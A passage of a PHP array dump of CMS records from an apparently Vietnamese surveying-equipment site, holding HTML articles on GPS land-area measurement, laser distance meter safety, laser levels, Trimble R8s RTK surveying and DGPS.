<img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span 